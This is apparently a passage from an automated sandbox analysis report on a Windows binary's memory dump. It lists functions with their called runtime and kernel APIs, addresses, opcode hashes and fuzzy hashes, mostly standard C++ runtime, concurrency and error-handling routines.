Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 43da83545c9b79c017dff60e9f720c4fc777cb3f45de605cb553411b232478a3
Instruction ID: e9d213aac7f151172204b0bd426f4a7ffa9b656b12459333dfa9207b19cab96c
Opcode Fuzzy Hash: 43da83545c9b79c017dff60e9f720c4fc777cb3f45de605cb553411b232478a3
Instruction Fuzzy Hash: 8B01D2B52042517FD72A7BBCACC5F6A3ECCFB42774B600AB8F514A60E1CEA18D006164

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5B20, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00B03120: WideCharToMultiByte.KERNEL32(00AB315C,00000000,00B102F0,00AB315C,00AB315C,00000000,00B0AFFC,?,00B102F0,?,00AB315C,?,00B0AD49,0000FDE9,00000000,?), ref: 00B031C2

GetLastError.KERNEL32(?,00AF5F9C,?,?,00AF5F9C,00000000,?,00000000,?,?,?,?,?,?,00000000), ref: 00AF5B41
__dosmaperr.LIBCMT ref: 00AF5B48
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00AF5F9C,?,?,00AF5F9C,00000000,?,00000000), ref: 00AF5B89
__dosmaperr.LIBCMT ref: 00AF5B90

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e18ef4e60762249147691f13fd289773e6340c3bf60d9758052938e5a4c9fcf5
Instruction ID: 82759fe9e33d3787f4bcea6dc1e09f06c58d919f78de23035e592a30868699b7
Opcode Fuzzy Hash: e18ef4e60762249147691f13fd289773e6340c3bf60d9758052938e5a4c9fcf5
Instruction Fuzzy Hash: AD014072900649BB9B316BF2DD09C6B3FBDEEC57207104518FB25E6191EA31D9109760

Uniqueness

Uniqueness Score: -1.00%

Function 00AA34B0, Relevance: 6.1, APIs: 4, Instructions: 56threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00AA34C3

Part of subcall function 00AAAA70: std::_Atomic_long::compare_exchange_strong.LIBCONCRTD ref: 00AAAA93

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AA351E

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

SafeRWList.LIBCONCRTD ref: 00AA352D

Part of subcall function 00AA7BE0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C0B

std::condition_variable::notify_all.LIBCONCRTD ref: 00AA3538

Part of subcall function 00AA2750: std::_Cnd_initX.LIBCPMTD ref: 00AA277F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Mutex_baseMutex_base::~_$Atomic_long::compare_exchange_strongCnd_initConcurrency::details::_CriticalCurrentListLock::_ReentrantSafeScoped_lockScoped_lock::_Threadstd::condition_variable::notify_all
String ID:
API String ID: 1453909389-0
Opcode ID: 74983da8013d33acc491b6df500011244ae3f6ae5e76dd107b46c5b6ca5ab148
Instruction ID: e6195cd57a3aa7c5a7bec782ce263fe246ac604f6c51a6c25af7295637362216
Opcode Fuzzy Hash: 74983da8013d33acc491b6df500011244ae3f6ae5e76dd107b46c5b6ca5ab148
Instruction Fuzzy Hash: 01113A74E00208AFCF04EFA8DA51BAEB7B5EF55304F5041A9E4126B382DB70AF05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AA4740, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

shared_ptr.LIBCPMTD ref: 00AA4779

Part of subcall function 00AA7820: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 00AA7849
Part of subcall function 00AA7820: _Copy_construct_from.LIBCPMTD ref: 00AA7855

Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00AA4781

Part of subcall function 00AA2E90: shared_ptr.LIBCPMTD ref: 00AA2EA7
Part of subcall function 00AA2E90: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA2EBD

Concurrency::cancellation_token::none.LIBCPMTD ref: 00AA4797
Concurrency::details::_Internal_task_options::_Internal_task_options.LIBCPMTD ref: 00AA47BC

Part of subcall function 00AA46F0: Concurrency::details::_TaskCreationCallstack::_TaskCreationCallstack.LIBCPMTD ref: 00AA46FD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_CreationTaskshared_ptrstd::_$CallstackCallstack::_Concurrency::cancellation_token::noneConcurrency::scheduler_ptr::scheduler_ptrContainer_base12Container_base12::~_Copy_construct_fromInternal_task_optionsInternal_task_options::_Iterator_baseIterator_base::_
String ID:
API String ID: 1982005772-0
Opcode ID: 9cce5f6b569b002cb77fa31a8898045eaed28603bcf7a5c3d1994dac103a6af3
Instruction ID: e14710cd3f434e290f269604f1f0fdd6b307cd8faa28a442db8e0dd7e959b7d4
Opcode Fuzzy Hash: 9cce5f6b569b002cb77fa31a8898045eaed28603bcf7a5c3d1994dac103a6af3
Instruction Fuzzy Hash: 7D118FB1D042599FCB04EFA8DD02BAFBBB4FB06314F044659E421A73C2D7756A048B91

Uniqueness

Uniqueness Score: -1.00%

Function 00AA8D30, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AA8D77

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

Concurrency::details::_Task_impl_base::_IsCanceled.LIBCPMTD ref: 00AA8D86
SafeRWList.LIBCONCRTD ref: 00AA8D9C

Part of subcall function 00AA7BE0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C0B

SafeRWList.LIBCONCRTD ref: 00AA8DB7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_ListMutex_baseMutex_base::~_Safestd::_$CanceledCriticalLock::_ReentrantScoped_lockScoped_lock::_Task_impl_base::_
String ID:
API String ID: 4265049931-0
Opcode ID: 69a90c2e15234b29cc80d9caa7a3db7bc1ac8d1b799e80dbe26b6eea56e33ca5
Instruction ID: 5dd7e089887d31eeca29f1c1249d2d89f44e875aea97bc5f8eed59ab32c6a94e
Opcode Fuzzy Hash: 69a90c2e15234b29cc80d9caa7a3db7bc1ac8d1b799e80dbe26b6eea56e33ca5
Instruction Fuzzy Hash: 981116B1D0410A9BCB08EFA4CA52BBEBBB5FF55314F50422AE512673D1DF346A04CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3C1B, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00AF3C35

Part of subcall function 00AF3B82: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00AF3BB1
Part of subcall function 00AF3B82: ___AdjustPointer.LIBCMT ref: 00AF3BCC

_UnwindNestedFrames.LIBCMT ref: 00AF3C4A
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00AF3C5B
CallCatchBlock.LIBVCRUNTIME ref: 00AF3C83

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: a54dfd1d1c6d28737d25cd3c1a76d9fda1036d6c9e5e1b2ef50420353c5e8d99
Instruction ID: 8d7744b5b8641aa4a64baaed0ded0d0a2676422f7bc107e500b1360f6a4a89a8
Opcode Fuzzy Hash: a54dfd1d1c6d28737d25cd3c1a76d9fda1036d6c9e5e1b2ef50420353c5e8d99
Instruction Fuzzy Hash: C401293210014CBBCF126FD5CE45EEB7B69EF98754F054018FF48A6121D736E962ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5A9C, Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00B030A4: MultiByteToWideChar.KERNEL32(00B07737,00000100,5EFC4D8B,00000000,00000000,00000020,?,00B06301,00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100), ref: 00B03114

GetLastError.KERNEL32(?,00000000,?,00000000,?,?,?,00AF5FF0,00000104,?,?,00000000,00000000,00000000,?,00AC1340), ref: 00AF5ABB
__dosmaperr.LIBCMT ref: 00AF5AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00000000,?,?,?,00AF5FF0,00000104,?), ref: 00AF5B02
__dosmaperr.LIBCMT ref: 00AF5B09

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 2f1642b22ca105f6b41a10ee891eff3c286c3992a0a9f52b4c3ebe7e58e9c389
Instruction ID: 1564ac79b4c29115fb4840701e1521c49d70c395249123c00adb7f7a482c63f3
Opcode Fuzzy Hash: 2f1642b22ca105f6b41a10ee891eff3c286c3992a0a9f52b4c3ebe7e58e9c389
Instruction Fuzzy Hash: 14017172A00609AFDB207FF5DD06F6A37A9AF44360F104554F729E71D1EB31E9105B90

Uniqueness

Uniqueness Score: -1.00%

Function 00AA8B10, Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

unique_lock.LIBCONCRTD ref: 00AA8B56

Part of subcall function 00AA7CD0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7CF4

std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AA8B74

Part of subcall function 00AAA290: std::make_error_code.LIBCPMTD ref: 00AAA2D0
Part of subcall function 00AAA290: std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AAA2E8
Part of subcall function 00AAA290: std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AAA30D

~unique_lock.LIBCONCRTD ref: 00AA8B88

Part of subcall function 00AA7C80: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7CB6

std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AA8B97

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Mutex_baseMutex_base::~_std::_std::exception_ptr::exception_ptrstd::exception_ptr::~exception_ptr$std::make_error_codeunique_lock~unique_lock
String ID:
API String ID: 454511191-0
Opcode ID: 259db8d41cc19566d9a83fef97ae6bb742f4c8c2d3dc2d55dae1bb93e7f8727e
Instruction ID: 9b052b2b79ed513055ce1c62fad2ea6059e109349a30718bbf075d75ba322283
Opcode Fuzzy Hash: 259db8d41cc19566d9a83fef97ae6bb742f4c8c2d3dc2d55dae1bb93e7f8727e
Instruction Fuzzy Hash: CC113D71D04249ABCB04EFA8C942BEFBBB4EB15710F504269E512A72C1DB746A48CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF0DAC, Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AF0DC6
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00AF0DDA
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AF0DF2
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF0E0A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: 72f10431fc0e186e2dd7aacdfb50663800bbcbc06df273b8744991fcc87addf7
Instruction ID: a7a1510cc50ec841d1761ab7f279bd2cc64c777cace786547b8cec39664f7eea
Opcode Fuzzy Hash: 72f10431fc0e186e2dd7aacdfb50663800bbcbc06df273b8744991fcc87addf7
Instruction Fuzzy Hash: B301A232700218A7CF25AEEA8951EBFB7A99F55350F000015FE15AB283DA60ED1096A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1730, Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00AC1754
OpenProcessToken.ADVAPI32(00000000), ref: 00AC175B
GetTokenInformation.ADVAPI32(00000000,00000014(TokenIntegrityLevel),?,00000004,00000004), ref: 00AC1781
CloseHandle.KERNEL32(00000000), ref: 00AC17AB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 9bea96421cf8d7ee66873c8821ac6a47b1b00b80fe6f0f8de700d6d9a5f7b2c7
Instruction ID: 39a287c3a1d07222193f2472fe8478a1d7159fb5fe71040c0d0bda3965548034
Opcode Fuzzy Hash: 9bea96421cf8d7ee66873c8821ac6a47b1b00b80fe6f0f8de700d6d9a5f7b2c7
Instruction Fuzzy Hash: 5F113A74E04249DADB10DFE4D859BFEBBB8AF49300F54445CA545A7281DB784A08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC2D59, Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ADCD17
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ADCD2A

Part of subcall function 00ADBC39: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ADBC56

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00ADCD43
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ADCD89

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID:
API String ID: 3258792471-0
Opcode ID: bc872a97c93d1c02a34b521dd4473e030d160aa508bf279d8fb36a5660b0e9e2
Instruction ID: fe15d58a73c90b3f4c31485d15c007dfc51eb56fd72f6db2553c9668eeaa974a
Opcode Fuzzy Hash: bc872a97c93d1c02a34b521dd4473e030d160aa508bf279d8fb36a5660b0e9e2
Instruction Fuzzy Hash: 12019276910226CBCF15ABA0CA847EDB7B2BF84320F954066D8136B341DF70AE01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AB0320, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AB0355

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

Concurrency::details::_Task_impl_base::_IsPendingCancel.LIBCPMTD ref: 00AB0364
SafeRWList.LIBCONCRTD ref: 00AB037E

Part of subcall function 00AA7BE0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C0B

SafeRWList.LIBCONCRTD ref: 00AB03A0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_ListMutex_baseMutex_base::~_Safestd::_$CancelCriticalLock::_PendingReentrantScoped_lockScoped_lock::_Task_impl_base::_
String ID:
API String ID: 2054512424-0
Opcode ID: 17b913ccbb58f0f0b0ac59f26cee938022e37299ca59f4f87625e87f6d66d6cc
Instruction ID: 437ce6332e69d0a4d6de9451133a4502aeebe91d5395f38696cae1bcb8ead990
Opcode Fuzzy Hash: 17b913ccbb58f0f0b0ac59f26cee938022e37299ca59f4f87625e87f6d66d6cc
Instruction Fuzzy Hash: 061148B4D0824A9BCB04DFA4CA51BFFFBB4AB05314F504259E8626B3C2DB745A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AADE40, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00AADE77

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

std::make_error_code.LIBCPMTD ref: 00AADE57

Part of subcall function 00AA20A0: std::generic_category.LIBCPMTD ref: 00AA20A3
Part of subcall function 00AA20A0: _Smanip.LIBCPMTD ref: 00AA20B0

std::make_error_code.LIBCPMTD ref: 00AADE8D
__CxxThrowException@8.LIBVCRUNTIME ref: 00AADEAD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throwstd::make_error_code$ExceptionRaiseSmanipstd::generic_category
String ID:
API String ID: 3876085839-0
Opcode ID: b9e4a8b228ec3be638dad076beefb7e9e25f17cc2bdd3eb31fd1cda1d3871952
Instruction ID: d4b6264f2c84611ac5ee5fda7ee59b2a8c2dcd3fa173924247a0b1f8ee47af67
Opcode Fuzzy Hash: b9e4a8b228ec3be638dad076beefb7e9e25f17cc2bdd3eb31fd1cda1d3871952
Instruction Fuzzy Hash: 42014471D10108AFC714EBA4D941FEEB7B9AF15300F448298F505A75A1EB71EA14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ACB99A, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ACB9A1
std::_Locinfo::_Locinfo.LIBCPMTD ref: 00ACB9D6

Part of subcall function 00AB11A0: std::_Lockit::_Lockit.LIBCPMT ref: 00AB11CD
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11DF
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11EE
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11FD
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB120C
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB121B
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB122A
Part of subcall function 00AB11A0: std::bad_exception::bad_exception.LIBCMTD ref: 00AB1241
Part of subcall function 00AB11A0: __CxxThrowException@8.LIBVCRUNTIME ref: 00AB124F
Part of subcall function 00AB11A0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AB125C

numpunct.LIBCPMT ref: 00ACB9E7

Part of subcall function 00ACA2B7: __EH_prolog3.LIBCMT ref: 00ACA2BE

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00ACB9F8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Yarn$std::_$H_prolog3LocinfoLocinfo::_$Exception@8Locinfo::~_Locinfo_ctorLockitLockit::_Thrownumpunctstd::bad_exception::bad_exception
String ID:
API String ID: 1133140004-0
Opcode ID: 98b0a8b8d196bc932977a7e1ebd3cdfd5de4eea8cc043066655c7431ce98dfcc
Instruction ID: 70015bd5170aa14acb70ac3fc61da9afb79bf032b499e5c34bbfef05240d8b13
Opcode Fuzzy Hash: 98b0a8b8d196bc932977a7e1ebd3cdfd5de4eea8cc043066655c7431ce98dfcc
Instruction Fuzzy Hash: AB01D13190022A9BCB14EBA4CA62FEE7BB4AF10790F55021AE101A7281CB308E41C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00ACB92E, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ACB935
std::_Locinfo::_Locinfo.LIBCPMTD ref: 00ACB96A

Part of subcall function 00AB11A0: std::_Lockit::_Lockit.LIBCPMT ref: 00AB11CD
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11DF
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11EE
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB11FD
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB120C
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB121B
Part of subcall function 00AB11A0: _Yarn.LIBCPMTD ref: 00AB122A
Part of subcall function 00AB11A0: std::bad_exception::bad_exception.LIBCMTD ref: 00AB1241
Part of subcall function 00AB11A0: __CxxThrowException@8.LIBVCRUNTIME ref: 00AB124F
Part of subcall function 00AB11A0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AB125C

numpunct.LIBCPMT ref: 00ACB97B

Part of subcall function 00ACA284: __EH_prolog3.LIBCMT ref: 00ACA28B

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00ACB98C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
